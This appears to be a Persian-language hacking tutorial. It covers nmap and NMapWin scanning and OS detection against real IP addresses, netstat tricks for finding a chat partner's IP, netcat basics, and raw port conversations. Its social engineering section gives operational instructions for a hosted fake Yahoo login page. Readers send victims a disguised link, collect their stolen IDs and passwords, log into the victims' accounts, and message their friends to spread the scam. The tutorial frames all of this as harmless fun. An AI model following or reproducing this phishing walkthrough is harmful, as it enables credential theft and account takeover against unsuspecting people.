اين قسمت براي آن است که نتايج را در يک فايل ذخيره کنيم. اين فايل مي‌تواند به‌صورت Normal (متني معمولي)، Grep (که الان ديگه به‌کار نميره)، XML و يا All (هر سه مورد) باشد.

بررسي برگه Win32 از قسمت Option Folder

اين برگه دو بخش دارد به نام‌هاي Options , Commands که فقط Options رو بررسي مي‌کنم:
- No Pcap : وقتي که NMapWin را نصب مي‌کنيم، Pcap هم نصب مي‌شود ( که فقط روي سيستم‌هاي ويندوز 2000 و xp مي‌تواند نصب شود) و کارها را برعهده مي‌گيرد. اگر بخواهيم که از آن استفاده نشود و به‌جاي آن از Raw Socket استفاده شود، اين گزينه را مارک مي‌کنيم.
- No IP HLP Api : مثل بالايي فقط اينکه بين ارسال هر پکت، ?? ثانيه منتظر مي‌ماند.
- No Raw Sockets : با انتخاب آن Raw Socket به‌کار نمي‌رود.
- Force Raw Socket : باعث مي‌شود که فقط Raw Socket به‌کار رود.
- Win Trace : براي سيستم‌هاي Win32 کمي اطلاعات بيشتري به‌دست مي‌دهد.

استفاده از NMapWin براي تعيين نوع سيستم عامل

اگر مهم‌ترين کاربرد‌هاي nmap را بخواهيم بدانيم، يکي port scanning و ديگري OS detection (تشخيص سيستم‌عامل مقابل) است که ويژگي دوم به قدري مهم است که گاه nmap را با همين ويژگي مي‌شناسند. براي اينکه نوع سيستم‌عامل را تعيين کنيم، بايد در برگه Options از NMapWin، گزينه OS detection انتخاب شده باشد.
حالا چند مثال را بررسي مي‌کنيم (شما خودتان اين‌ ip ها و ip هاي ديگر را تست و تمرين کنيد) :
194.225.184.15
Remote operating system guess: Windows 2000 server SP2
195.219.176.5
Remote operating system guess: Linux Kernel 2.4.0 - 2.5.20
206.104.238.208
Remote operating system guess: Linux 2.1.19 - 2.2.20
217.66.199.6
(Remote operating system guess: Cisco router running IOS 12.1.5-12.2(6a
63.148.227.65
Remote operating system guess: Windows 2000/XP/ME
194.225.184.2
No exact OS matches for host (If you know what OS is running on it, see http://www.insecure.org/cgi-bin/nmap-submit.cgi).
در اين مورد مي‌بينيد که nmap موفق به تعيين نوع سيستم‌عامل نشده است. ممکن است دليلش اين باشد که ip در آن لحظه up نبوده‌ است.
نکته‌اي که بايد در نظر داشت اين است که گاه بايد از يک سري اطلاعات فني هم استفاده کرد تا به جواب قطعي رسيد :
- مثلا ip ماقبل آخر که نتيجه آن به صورت Windows 2000/XP/ME ظاهر شده است، متعلق به sazin.com است که چون يک سايت است و بايد در يک سرور باشد و هيچ سروري نمي‌تواند ME يا XP باشد، پس سيستم‌عامل آن Win 2000 خواهد بود.
- يا يک حالت ديگر موردي است که ببينيد صفحات يک وب سايت با asp يا asp.net درست شده است (مثلا اسم صفحه به صورت zzzzzz.asp يا zzzzzz.aspx باشد، که نمونه آن سايت aod.com است که اسم همين صفحه default.asp است). در اين حالت سرور آن حتما سروري از محصولات مايکروسافت است مثل Win NT و يا Win 2000 و نمي‌تواند Linux يا Unix يا Sun Solaris و... باشد.

* تعيين پورت‌هاي باز کامپيوتر خودتان

قبلا به کمک پورت اسکنينگ (توسط ipeye، acw_spscan، nmap) ياد گرفتيد که چگونه پورت‌هاي باز يک کامپيوتر ديگر را مشخص کنيم. حالا مي‌خواهيم درباره کامپيوتر خودمان اين اطلاعات را پيدا کنيم. براي اين کار يکي از دستورات زير را به کار مي‌بريم:
netstat -an
netstat -a
فرق اين دو دستور در اين است که اولي پورت‌ها را به صورت عددي و دومي به صورت معادل اسمي آن پورت مي‌نويسد. مثلا معادل اسمي پورت 7 ، echo است.
مثلا اگه netstat -an را تايپ کنم، به اطلاعاتي مي‌رسم
من دستور را موقعي اجرا کردم که به اينترنت متصل نبودم. اگر همين کار را در زمان اتصال به اينترنت انجام مي‌دادم، يک سري سطرهاي جديد هم اضافه مي‌شد که مربوط به آن اتصال مي‌شد. و نيز دقت کنيد که من سويچ an- را استفاده کردم و پورت‌ها به صورت عددي نمايش داده شده است که همين الان - الساعه - براتون توضيح مي‌دم:
اولين نکته‌اي که به نظر مي‌رسد، نامي است که براي هر ستون نوشته شده است:
Proto Local Address Foreign Address State
- Proto : يعني پروتکل، که مي‌تواند TCP يا UDP باشد.
- Local Address : نشان‌دهنده ip کامپيوتر خودمان و شماره پورت‌هاست. مثلا سطر اول مي‌گويد که ip من 0.0.0.0 است (دقت کنيد که من به اينترنت متصل نيستم) و اولين پورت باز (از نوع TCP با توجه به اول سطر) عدد ? است زيرا اين به صورت 0.0.0.0:7 نوشته شده است که قسمت قبل از کاراکتر : ، ip است و بعد از کاراکتر :، پورت است.
- Foreign Address : چون در اين مثال از سويچ a- يا an- استفاده کرده‌ايم، کاربردي ندارد. ولي بعدا خواهيد ديد که اگر از يک سويچ ديگر استفاده کنيم، مي‌تواند مهم باشد.
- State : وضعيت اتصال را نشان مي‌دهد
حالا اگه پورت‌ها را يکي يکي بررسي کنيد، مي‌بينيد که در پروتکل TCP ، پورت‌هاي ?، ?، ??، ??، ??، ?? و... باز است و در پروتکل UDP ، پورت‌هاي ?، ?، ??، ??، ??، ?? و ... باز است.
حالا ممکن است بپرسيد که اين اطلاعات به چه دردي مي‌خورد؟
جواب اين است که دانستن اين اطلاعات براي محافظت از خودتان در برابر همکارانتان (هکرها) است. مثلا اگر يک تروجان روي کامپيوتر شما نصب شده باشد، با اين دستور مي‌توان آن را کشف کرد.

نکته‌اي درباره Client Footprinting

بحث درباره Server Footprinting (کسب اطلاعات درباره سرورها) هنوز باقي‌ است. ولي الان به جايي رسيده ايد که ديگه کم‌کم ميشه درباره Client Footprinting صحبت کرد. يعني مي‌خواهيم درباره يک کلاينت مثلا کسي که مثل شما يک اتصال مثلا dial-up به اينترنت دارد و فرضا دارد با شما chat مي‌کند، کسب اطلاعات کرد.
در اين مورد هم اولين نکته‌اي که بايد کشف شود، ip اوست. در اين جلسه مي‌خوام بهتون ياد بدم که وقتي با يه نفر از طريق yahoo messenger به صورت pm چت مي‌کنيد، چطوري مي‌تونيد ip اش رو پيدا کنيد. البته بايد توجه کرد که اين روش گاهي کار نمي‌کند. نيز فرض مي‌کنم که فقط با يک نفر داريد چت مي‌کنيد.
يکي از دستور‌هاي زير را تايپ مي‌کنيد:
netstat -n
netstat
دستور اولي براي پيدا کردن ip طرف مقابل است و دستور دوم گاه مي‌تواند اسم کامپيوتر او را براي شما نشان دهد.
من دستور netstat -n را تايپ کردم و به نتايج زير رسيدم:
Active Connections
Proto Local Address Foreign Address State
TCP 195.219.176.126:1296 66.163.173.77:5050 ESTABLISHED
TCP 195.219.176.126:1341 66.218.75.149:80 LAST_ACK
TCP 195.219.176.126:1325 212.234.112.74:5101 SYN_SENT
اولين کاري که مي‌کنيد اين است که سطري را پيدا مي‌کنيد که در Local Address يا Foreign Address آن، پورت 5101 داشته باشد. در اين مثال سطر آخر، سطر مورد نظر ماست. زيرا در ستون Foreign Address از سطر آخر، پورت آن 5101 است. البته اگر در ستون Local Address هم بود، فرقي نمي‌کرد. وقتي آن سطر را پيدا کرديد، ip طرف مقابل را از ستون Foreign Address از همان سطر پيدا مي‌کنيم. در اين مثال ip طرف مقابل 212.234.112.74 است.
اگر به‌جاي netstat -n ، از netstat استفاده مي‌کردم، به نتايج زير مي‌رسيدم:
Active Connections
Proto Local Address Foreign Address State
TCP artawill...:1296 cs55.msg.sc5.yahoo.com:5050 ESTABLISHED
TCP artawill...:1298 dl3.yahoo.com:http TIME_WAIT
TCP artawill...:1325 Majid:5101 SYN_SENT
ملاحظه مي‌فرماييد که همه ip ها به معادل هاي اسمي تبديل شده‌اند و در مورد همان سطر آخر به جاي ip طرف مقابل اسم کامپيوتر فرد را مي‌نويسد (البته در حالتي که طرف مقابل dial-up نباشد، قضيه فرق مي‌کند.)
حالا فرض کنيد که يک pm ديگر هم اضافه مي‌شود. و دوباره دستور netstat -n را تايپ مي‌کنم. حالا نتايج زير را مي‌بينم:
Active Connections
Proto Local Address Foreign Address State
TCP 195.219.176.126:1296 66.163.173.77:5050 ESTABLISHED
TCP 195.219.176.126:1344 64.58.77.197:80 ESTABLISHED
TCP 195.219.176.126:5101 212.234.112.74:3735 ESTABLISHED
TCP 195.219.176.126:5101 194.225.184.95:1460 ESTABLISHED
الان دوتا سطر دارم که داراي پورت 5101 باشد، و چون مي‌دانم که 212.234.112.74 مربوط به نفر قبلي بود، پس 194.225.184.95 مربوط به pm دومي است.

Social Engineering چيست؟

Social Engineering يا مهندسي اجتماعي، تکنيکي است که بر گول زدن مردم استوار است. در اين تکنيک شما با انسان‌ها سر و کار داريد و نه با کامپيوترها. حال اگه يک user رو مثلا گول بزنيد، مي‌توانيد اطلاعات او را مثل پسورد و ... را بدست بياوريد که نمونه‌اي است از Client Hacking و اگه Administer يک سايت را گول بزنيد و سايت را هک کنيد، نمونه‌اي است از Server Hacking. پس با مهندسي اجتماعي هم مي‌شود کلاينت هک کرد و هم سرور. البته چون کلاينت‌ها معمولا user هاي کم‌سوادتري (از نظر دانش هک) دارند، هک کردن آنها بسيار آسان‌تر است.
اين نکته را هم بايد بگم که روش Social Engineering معمولا در مراحل اوليه هک استفاده مي‌شود و بعد از آن بايد مسير را عوض کنيد و از اطلاعات فني‌تان براي ادامه کار بهره ببريد.
1 مثال‌هايي از مهندسي اجتماعي
در اينجا مي‌خواهم تعدادي از تکنيک‌هاي Social Endineering را براتون بگم. البته توجه کنيد که اگرچه اين روش‌ها اطلاعات فني زيادي نمي‌خواد ولي معمولا نتايج خوبي داره. و نيز بگم که اين روش‌ها خيلي گسترده است و هر بار به شکلي بروز مي‌کند. اما نکته مشترکي که من در همه‌شان ديدم اينه که هميشه از شما مي‌خواهند که پسوردتان را يک جايي وارد کنيد و اين دقيقا محلي است که فرق شما رو با يک user معمولي نشون ميده. زيرا نبايد گول بخوريد (-;
2- تلفن زدن :
يکي از روش‌هاي مهندسي اجتماعي است. هکر اطلاعاتي از افراد يک شرکت جمع‌آوري مي‌کند و بعد با شرکت تماس گرفته و مثلا از فلان فرد مي‌خواهد که پسورد را عوض کند. پيشرفته‌ترين متد‌هاي اين نوع هک توسط مشهورترين (و يکي از بهترين) هکرهاي تاريخ، Kevin Mitnick اجرا شده است.
3- مخ زدن براي ارسال فايل:
مثلا با يک نفر چت مي‌کنيد و مي‌گيد که بيا عکس منو ببين! و به جاي ارسال يک فايل تصويري، يک فايل اجرايي مثلا تروجان براش مي‌فرستيد. تا اين مرحله کار شما به عنوان مهندسي اجتماعي است ولي مابقي (مثلا استفاده از تروجان فرستاده شده) ديگه Social engineering نيست.
4- براي ما E-mail بزنيد و ما پسورد E-mail کسي که شما مي‌خواهيد را براتون پيدا مي‌کنيم:
ممکنه در اينترنت به اين نوع پيغام‌ها برخورد کرده‌ايد که مثلا مي‌گويد:
" به ما ايميل بزنيد، در سطر اول E-mail کسي که مي‌خواهيد ما براتون هک کنيم رو بنويسيد، در سطر دوم E-mail خودتون رو، سطر آخر هم پسورد E-mail خودتون رو. ما پسورد E-mail ي که در سطر اول مشخص کرديد براتون مي‌فرستيم. "
ممکنه عجيب به نظر برسه ولي خيلي‌ها به همين راحتي هک مي‌شوند. اين ديگه از اون بهتريناش، چون يک تيره و سه نشون. ? تا آدرس E-mail براي فرستادن تبليغات و نيز پسورد E-mail خودتون.
5- فايل ضميمه (attached) به E-mail را باز کنيد:
مثلا اينکه مي‌گويد در اين E-mail عکس من attach شده است باز کنيد و ببينيد. درحالي که فايل attach شده فايل تصويري نيست، بلکه يک فايل آلوده است.
6- ساختن يک صفحه شبيه به سايت‌هاي مشهور و درخواست login :
مثلا ساختن يک صفحه شبيه به ياهو براي login درحالي‌که اين صفحه براي دزديدن id و password شماست. در ادامه يک مثال براي اين روش را بيان خواهم کرد.
7- و ...

يک مثال براي تکنيک شماره پنجم

من يک همچين صفحه‌اي ساخته‌ام و روي سايت قرار داده‌ام و طريقه استفاده از اون رو براتون توضيح مي‌دم:
1- اول يک نگاهي به اين صفحه بکنيد تا منظورم رو متوجه بشين: http://www.ksn.com/onlinetools/yahoo/default.asp
اين صفحه بسيار شبيه به login page ياهو است ولي در واقع يک صفحه براي دزديدن id و password است.
2- براي ايجاد يک صفحه چنين براي خود در سايت من، اول بايد Sign up کنيد. براي اين‌کار بايد به صفحه http://www.ksn.com/onlinetools/yahoo/signup.asp مراجعه کنيد. اولين صفحه مي‌گه که اين سايت (يعني من) مثل هميشه، هيچ مسووليتي را قبول نمي‌کنم. بعد از کليک روي لينک، مي‌ريد به صفحه دوم که از شما مي‌خواد يک پسورد دلخواه وارد کنيد ( نه پسورد ياهو ). از اين پسورد بعدا براي login استفاده خواهيد کرد. صفحه آخر يک عدد به شما مي‌دهد که بايد يادداشت کنيد.
3- در همان صفحه آخر که عددي براي شما مشخص مي‌کند، دو تا آدرس هم مي‌گويد. در مورد آدرس اول مثلا اگه شماره شما 10 باشد، آدرس اول مي‌شود: http://www.KsN.com/onlinetools/yahoo/default.asp?key=30&forward=xxxxx
که بايد براي کسي که مي‌خواهيد او را هک کنيد بايد بفرستيد. به جاي xxxxx بايد آدرس سايتي را بنوبسيد که بعد از اينکه شخص مورد نظر گول خورد و اين صفحه را پر کرد، در مرحله بعدي به کجا برود. مثلا به يه شخص مي‌گوييد که بيا در گروه من عضو شو، حالا بايد به‌جاي xxxxx آدرسي را وارد کنيد که به‌صورتي به گروه ياهو مربوط باشد ( تا شخص مورد نظر شک نکند ) مثلا مي‌توانيد آدرس را به صورت http://www.kaveh-aod.20m.com/onlinetools/yahoo/default.asp?key=30&forward=groups.yahoo.com
به او مي‌دهيد. دقت کنيد که در آدرسي که به‌جاي xxxxxx مي‌نويسيد، از //:http استفاده نکنيد.
4- آدرس دومي که در همان صفحه ذکر شده است، http://www.kaveh-aod.20m.com/onlinetools/yahoo/login.asp است که براي ديدن ليست افرادي است که شما هک کرده‌ايد. در اين صفحه شماره‌ و پسوردتي که در Sign up مشخص شده‌است را نوشته و وارد مي‌شويد و مي‌‌توانيد ليست را ببينيد. دقت کنيد که ممکن است بعضي‌ها اين کلک را متوجه شده باشند و به‌جاي id و password براتون بد و بيراه نوشته‌باشند.
5- حالا اين id و pass ها رو با ياهو مسنجر تست کرده و وارد شده و براي دوستان فرد هک شده از هم پيغام مي‌فرستيد تا آنها هم کلک بخورند و اين‌ کار را ادامه مي‌دهيد.
خدمت شما عرض کنم که اين کار در واقع يک نوع کلاينت هکينگ به کمک مهندسي اجتماعي است. به اين کار به عنوان يک تفريح نگاه کنيد و نه يک هک جدي. در واقع ميشه گفت مسخره‌ترين نوع هکي است که من تا حالا ديده‌ام (-;
و آخرين نکته اينکه از اين صفحه عاقلانه استفاده کنيد. دوباره مي‌گم که مسووليتي را نمي‌پذيرم.

انواع Scanning

همان طور که قبلا گفتم، Scanning بر دو نوع است:
1- Port Scanning : در اين باره بحث کرديم. يک ip خاص رو مدنظر قرار مي‌دهيم و از نظر پورت‌ها آن را بررسي مي‌کنيم.
2- IP Scanning : بحث امروز ماست. در اين اسکنينگ مي‌خواهيم بدانيم که از بين يک مجموعه ip ، کدام‌ها up و کدام‌ها down هستند. يعني کدام ip ها الان قابل دسترسي هستند (يعني به يه کامپيوتر در اينترنت نسبت داده شده است! )

چگونه از nmap استفاده کنيم؟

قبلا با نرم‌افزار NMapWin آشنا شديد که نسخه گرافيکي nmap براي ويندوز بود. nmap در واقع نرم‌افزار اصلي است که هم براي يونيکس (لينوکس) و هم براي ويندوز نسخه‌هايي را دارد. nmap برخلاف NMapWin، حالت خط فرماني (command prompt) دارد. در اين قسمت مي‌خواهيم با nmap مخصوص ويندوز آشنا شويم. براي داون‌لود اين نرم‌افزار اينجا را کليک کنيد. (اگر قبلا NMapWin را نصب نکرده‌ايد، بايد از يک نسخه ديگر از nmap که اصطلاحا nmap installer نام دارد، استفاده کنيد. اين نسخه nmap را مي‌توانيد از اينجا داون‌لود کنيد. )
همان‌‌طور که مي‌دانيد، در نرم‌افزارهاي خط فرماني، بايد از پارامترها استفاده کنيم. با توجه به اينکه پارامترهاي nmap بسيار زياد و يادگيري آنها مشکل است، ما براي پيدا کردن پارامترهاي درست براي يک عمل خاص ( که معمولا ip scanning يا port scanning است) از NMapWin استفاده مي‌کنيم. به اين ترتيب که در NMapWin تنظيمات را انجام مي‌دهيم و بعد در پايين پنجره آن مشاهده مي‌کنيد که در قسمت :CMD ليست پارامترها را به دست مي‌آوريم. اين مراحل را با دو مثال شرح مي‌دم:
1- مي‌خواهيم براي پورت‌هاي ? تا ??? در کامپيوتري که ip آن 63.148.227.65 است، يک پورت اسکننيگ انجام دهيم. براي اين‌کار در NMapWin، برگه Scan را درحالت SYN Stealth تنظيم مي‌کنيم و Port Range را مي‌نويسيم: 200-1 و بعد برگه Discover بايد در حالت TCP+ICMP باشد و اگر بخواهيم نوع سيستم‌عامل را هم مشخص کنيم، در برگه Options، گزينه OS detection را در حالت انتخاب شده قرار مي‌دهيم. ip را هم در بالاي پنجره، 63.148.227.65 مي‌نويسيم. حالا آماده اسکن هستيم ولي ما مي‌خواهيم اين کار را با nmap انجام دهيم، پس فقط بايد قسمت CMD را از پايين پنجره ببينيد، ملاحظه مي‌کنيد که نوشته شده:
CMD: -sS -PT -PI -p 1-200 -O -T 3 63.148.227.65
با حذف کلمه :CMD به عبارت زير مي‌رسيم:
-sS -PT -PI -p 1-200 -O -T 3 63.148.227.65
اينها پارامتر‌هايي است که بايد در nmap استفاده کنيد. به اين صورت که مي‌نويسيد:
nmap -sS -PT -PI -p 1-200 -O -T 3 63.148.227.65
و بعد از اجراي دستور و صبر کردن براي چند دقيقه، نتايج را مي‌بينيم.
بعد از مدتي که با nmap کار کنيد، اين پارامترها را مي‌آموزيد و ديگه نيازي به NMapWin نخواهيد داشت. مثلا همين O- يعني OS detection، و 200-p 1 يعني پورت‌هاي ? تا ??? مي‌باشد. بعدها خودتان مي‌بينيد که کار کردن با nmap بسيار دلچسب‌تر از NMapWin است.
2- مي‌خواهيم يک ip scanning انجام دهيم براي 195.219.176.0 تا 195.219.176.10 . براي اينکار در NMapWin، در برگه Mode، گزينه Ping Sweep را انتخاب مي‌کنيم. در برگه Discovery، گزينه ICMP Ping را انتخاب کرده و در برگه Options، گزينه OS detection را در حالت انتخاب نشده قرار مي‌دهيم. براي نوشتن ip ملاحظه مي‌فرماييد که 195.219.176 در هر دو مشترک است، پس مي‌نويسيم: 10-195.219.176.0 .حالا مي‌بينيم که پارامترها به صورت زير است:
-sP -PI -T 3 195.219.176.0-10
پس ما مي‌نويسيم:
nmap -sP -PI -T 3 195.219.176.0-10

شروع کار با نرم‌افزار netcat

حالا مي‌خوام مهمترين نرم‌افزاري که يک هکر در کل زندگي‌اش !! استفاده مي‌کنه رو معرفي کنم. اين نرم‌افزار netcat نام دارد که به‌طور خلاصه nc ناميده ميشه ( اين nc با اون nc که تو DOS بود فرق مي‌کنه). nc بقدري نرم‌افزار مهمي است که حتي يک سري لقب هم دارد. اگر جايي "Pocket Knife of network utilities" يا "TCP/IP Swiss Army Knife" شنيديد، بدونين که منظورشان همين nc است( اين نرم‌افزار را به چاقوي جيبي تشبيه مي‌کنند ). من فعلا نمي‌خوام يه معرفي کامل از اون بکنم فقط مي‌گم که علاوه بر قابليت‌هاي عمومي مثل Scanning ها، چيزي که اون رو خيلي معروف کرده يکي عملکرد مشابه ولي بهتر از telnet و ديگري کاربرد اون به‌عنوان هم کلاينت و هم سرور (يه چيزي تو مايه‌هاي تروجان) است.
اين نرم‌افزار اولين بار براي سيستم‌عامل‌هاي يونيکس نوشته شد ولي نسخه مخصوص ويندوز هم داره که براي داون‌لود اون اينجا را کليک کنيد. اين نسخه فقط در ويندوز‌هاي NT (مثل Windows2000، Windows XP) کار مي‌کنه.
براي به دست آوردن ليست پارامتر هاي اون مي‌نويسيم:
nc -help
و جواب مي‌شنويم:
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
تا همينجا بماند تا بعدا تک تک پارامتر‌ها رو توضيح مي‌دم.

استفاده از nc براي port scanning

براي پورت اسکنينگ قبلا از NMapWin و nmap استفاده کرديم. اما اين کار را با nc هم مي‌توان انجام داد ( اگرچه من بازهم براي پورت اسکنينگ همان nmap رو توصيه مي‌کنم.) براي port scanning با nc بايد بنويسيد:
nc -v -z host pornum
به‌جاي host بايد ip ) ip ها) يا نام آن (مثلا اسم سايت) را بنويسيم. و به‌جاي portnum ، شماره پورت (يا پورت‌ها) را مي‌نويسيم. v- يعني verbose يعني نتايج با جزئيات نمايش داده شود. z- وقتي استفاده مي‌شود که از nc براي scanning استفاده مي‌کنيم.
فرض کنيد مي‌خواهيم ip ي به شماره 217.66.195.181 را براي پورت‌هاي ? تا ??? چک کنم، مي‌نويسم:
nc -v -z 217.66.195.181 1-200
و جواب مي‌شنوم:
artawill-1dedm4 [217.66.195.181] 143 (imap) open
artawill-1dedm4 [217.66.195.181] 139 (netbios-ssn) open
artawill-1dedm4 [217.66.195.181] 135 (epmap) open
artawill-1dedm4 [217.66.195.181] 119 (nntp) open
artawill-1dedm4 [217.66.195.181] 80 (http) open
artawill-1dedm4 [217.66.195.181] 53 (domain) open
artawill-1dedm4 [217.66.195.181] 25 (smtp) open
artawill-1dedm4 [217.66.195.181] 21 (ftp) open
artawill-1dedm4 [217.66.195.181] 19 (chargen) open
artawill-1dedm4 [217.66.195.181] 17 (qotd) open
artawill-1dedm4 [217.66.195.181] 13 (daytime) open
artawill-1dedm4 [217.66.195.181] 9 (discard) open
artawill-1dedm4 [217.66.195.181] 7 (echo) open
مي‌بينيد که پورت‌ها از آخر به اول ليست شده‌اند. و نيز اينکه اين نرم‌افزار هم مي‌تواند سرويس‌هاي احتمالي مربوط به هر پورت باز را هم ليست ‌کند.
اگر مي‌خواستم يک سري پورت را که به صورت پشت‌سرهم نيستند، بررسي کنم، بايد پورت ها را يکي پس از ديگري با فاصله از هم جدا کنيد. مثلا براي بررسي پورت‌هاي ??، ?? و ??? را چک کنم، مي‌نويسم:
nc -v -z 217.66.195.181 25 80 110
در درس‌هاي بعدي با کاربردهاي بيشتري از nc آشنا خواهيم شد.

شروع کار با پورت‌ها

الان به جايي رسيده‌ايم که مي‌توانيم بحث پورت‌ها را شروع کنيم. اولين نکته‌اي که بايد بگم اين است که ابزاري که به کمک آن با پورت‌ها صحبت مي‌کنيم در همه پورت‌ها يکي است ولي هر پورتي زبان مخصوص خود دارد (درست مثل زبان‌هاي مختلف در جهان که همشون از طريق زبان و دهان ادا مي‌شن ولي هر کدام روش خاصي براي ارتباط برقرار کردن دارند). پس ما براي کار با پورت‌ها بايد زبان هرکدام را ياد بگيريم.
بحث بعدي اين است که وقتي مي‌گيم يه پورت بازه بايد توجه کنيد که برنامه‌اي روي آن کامپيوتر نصب شده و اون پورت را باز کرده است (پورت‌ها خود به خود باز نمي‌شوند). يک سري پورت‌ها توسط خود سيستم‌عامل باز مي‌شوند (يعني به محض نصب سيستم‌عامل که خودش هم درواقع يه نرم‌افزاره) و نيازي نيست که برنامه ديگري برايش نصب کنيم. در مقابل، بعضي پورت‌هاي ديگر توسط برنامه‌هاي جانبي باز مي‌شوند.
به عنوان مثال وقتي مي‌گم که پورت 221 روي يک ip باز است، اين معني را دارد که برنامه‌اي روي اون کامپيوتر خاص وجود دارد که پورت 21 را باز کرده و من وقتي از طريق کامپيوتر خودم با آن پورت کار مي‌کنم در واقع دارم با آن برنامه خاص (که اون پورت را باز کرده) صحبت مي‌کنم.
حالا يه سوال پيش مي‌آد که چرا اصلا يه نرم‌افزار بايد پورت باز کنه و اينکه کدام نرم‌افزارها بايد پورت باز کنند؟
جواب اين است که هر برنامه‌اي که بخواهد از طريق شبکه (يعني از راه دور اصطلاحا remote) قابل دسترس باشه بايد يه پورت باز کنه. پس يک برنامه‌اي که نيازي به برقراري ارتباط شبکه‌اي ندارد (مثلا يه نرم‌افزار گرافيکي) نبايد و نشايد که پورت باز کند.
بايد ببينيم که از طريق چه برنامه‌اي مي‌توان با پورت‌ها صحبت کرد ( البته با هرکدام به روش خودشان )؟
براي اين‌کار از دو نرم‌افزار به نام‌هاي telnet و nc استفاده مي‌کنيم. telnet که در خود سيستم‌عامل وجود دارد و nc را هم که جلسه قبل داون‌لود کرديم.
حالا چگونه از اين دو نرم‌افزارها مي‌توان استفاده کنيم؟
1- استفاده از telnet :
اگر بخواهيم با ip اي به شماره 194.225.184.13 از طريق پورت 25 صحبت کنيم بايد بنويسيم:
telnet 194.225.184.13 25
و بعد اينکه ارتباط برقرار شد بايد شروع کنيم و از طريق زبان پورت ?? با آن صحبت کنيم.
2- استفاده از nc : اگر بخواهيم همان کار را با netcat انجام دهيم، بايد بنويسيم:
nc -v 194.225.184.13 25
و بعد از برقراري ارتباط شروع به صحبت کنيم.

با پورت 21 صحبت کنيم

نام ديگر اون daytime است و کارش هم اينه که زمان و تاريخ رو در اون کامپيوتر به ما مي‌ده. اين پورت اصولا خيلي سر راسته. فقط کافيه که بهش وصل شيم تا اطلاعاتشون بيرون بريزه. البته اين پورت رو خيلي از کامپيوترها بسته است. (يادتون باشه که وقتي مي‌توان با يه پورت کار کرد که باز باشد).
حالا مي‌خوايم با پورت21 از ip شماره 194.225.184.13 صحبت کنم. يکي از اين دو دستور را مي‌نويسم:
telnet 194.225.184.13 13
nc -v 194.225.184.13 13
البته در آن دستورات به جاي عدد ?? مي‌توان معادلش را نوشت که daytime است.
و جواب مي‌شنوم:
11:35:33 AM 10/5/2002
بله، با اين پورت ارتباط برقرار کرديم و اطلاعاتش رو دريافت کرديم. اين اطلاعات معمولا به درد اين مي‌خورد که مکان جغرافيايي اون کامپيوتر را حدس بزنيم (البته اگر زمان اون کامپيوتر صحيح باشد). به عنوان مثال اين کامپيوتر خاص در ايران است چون ساعتش همزمان با ايران است.

با پورت 7 صحبت کنيم

اسم اين پورت echo است. من اين پورت رو پورت ميمون مي‌گم چون هرچي که شما براش بنويسيد را تقليد مي‌کنه و همان‌ها را براتون پس مي‌فرستد. مثلا من به پورت ? کامپيوتري با ip شماره 194.225.184.13 تلنت يا nc مي‌کنم.
telnet 194.225.184.13 7
nc -v 194.225.184.13 7
بعد از برقراري ارتباط، هر چي من بنويسم، اون برام پس مي‌فرسته. مثلا اگه تايپ کنم KsN و Enter بزنيم، جواب مي‌شنوم، KsN ... خودتون امتحان کنيد تا ببينيد. براي تمام شدن کار بايد دکمه Ctrl+C را فشار دهيم تا اين ميمون بازي تموم بشه.
پس کار کردن با اين پورت هم زياد سخت نيست.

با پورت 80 صحبت کنيم

پورت 80 يکي از مهم‌ترين پورت‌هاست. دنياي وب (صفحات اينترنتي) بر اساس همين پورت کار مي‌کنه. توضيح اينکه وقتي به يه سايت وصل مي‌شيم و صفحه وب را درخواست مي‌کنيم، در واقع مرورگر اينترنتي به پورت ?? اون کامپيوتر وصل مي‌شه و اطلاعات رو مي‌گيره (البته بعد از گرفتن اطلاعات اون رو تفسير مي‌کنه و به صورت يه صفحه نشون مي‌ده - دقت کنيد که اطلاعات در واقع به صورت يک سري تگ HTML است ). حالا ما مي‌خواهيم با پورت ?? يک کامپيوتر صحبت کنيم ولي به کمک telnet و nc.
اول بايد يه connection (اتصال) با پورت 80 برقرار کنيم (مثلا براي سايت hotmail.com بايد بنويسم):
telnet www.hotmail.com 80
nc -v www.hotmail.com 80
پس اول بايد يکي از دستورات بالا را استفاده کنيم. من هميشه توصيه‌ام استفاده از nc بوده و خواهد بود.
حالا بايد شروع به صحبت با پورت ?? کنيم. من فعلا دو تا جمله براتون مي‌گم و بقيه‌اش بمونه واسه بعد. دقت کنيد که موقع کار با پورت ?? با تلنت (نه nc) دستوراتي که ما مي‌نويسيم، نمايش داده نمي‌شود ولي کار مي‌کنه.
1- اولين جمله اينه: GET / HTTP/1.0 و بعدش دوتا Enter
به فاصله‌ها دقت کنيد. دو طرف / ي که بعد از GET است، فاصله وجود دارد. اين جمله به پورت ?? مي‌گه که هرچي در header داره، نشون بده. و جواب مي‌شنوم:
HTTP/1.0 302 Moved Temporarily
Server: Microsoft-IIS/5.0
Date: Thu, 05 Dec 2002 12:02:51 GMT
Location: http://lc2.law5.hotmail.passport.com/cgi-bin/login
X-Cache: MISS from cache5.neda.net.ir
Connection: close
2- دومين جمله اينه: GET / what/ever و بعدش دوتا Enter
به فاصله‌ها دقت کنيد. اين دستور باعث ميشه که هر چي داره، رو کنه.
البته توجه کنيد که ما مسير را مشخص نکرديم. بعدها در مورد اين مسير مشخص کردن صحبت خواهم کرد. اين حالت که بدون مسير است خيلي وقت‌ها کار نمي‌کنه (مثل همين مثال !!)
گاهي پيش مي‌آد که يک سري دستورات خاص را هميشه بايد پشت‌ سرهم به يه پورت خاص بفرستيم و بخواهيم در وقت صرفه‌جويي کنيم. مثلا همين جمله GET / HTTP/1.0 و دو Enter پشت سرهم که هميشه استفاده مي‌کنيم. در اين موارد مي‌توان اين دستورات را در يک فايل تايپ کرد (همراه با Enter ها که بايد موقع نوشتن حتما بزنيد) و بعد مثلا با نام KsN.txt ذخيره کنيد و بعد يکي از دستورات زير را بنويسيم:
nc -v www.aod.20m.com 80 < aod.txt
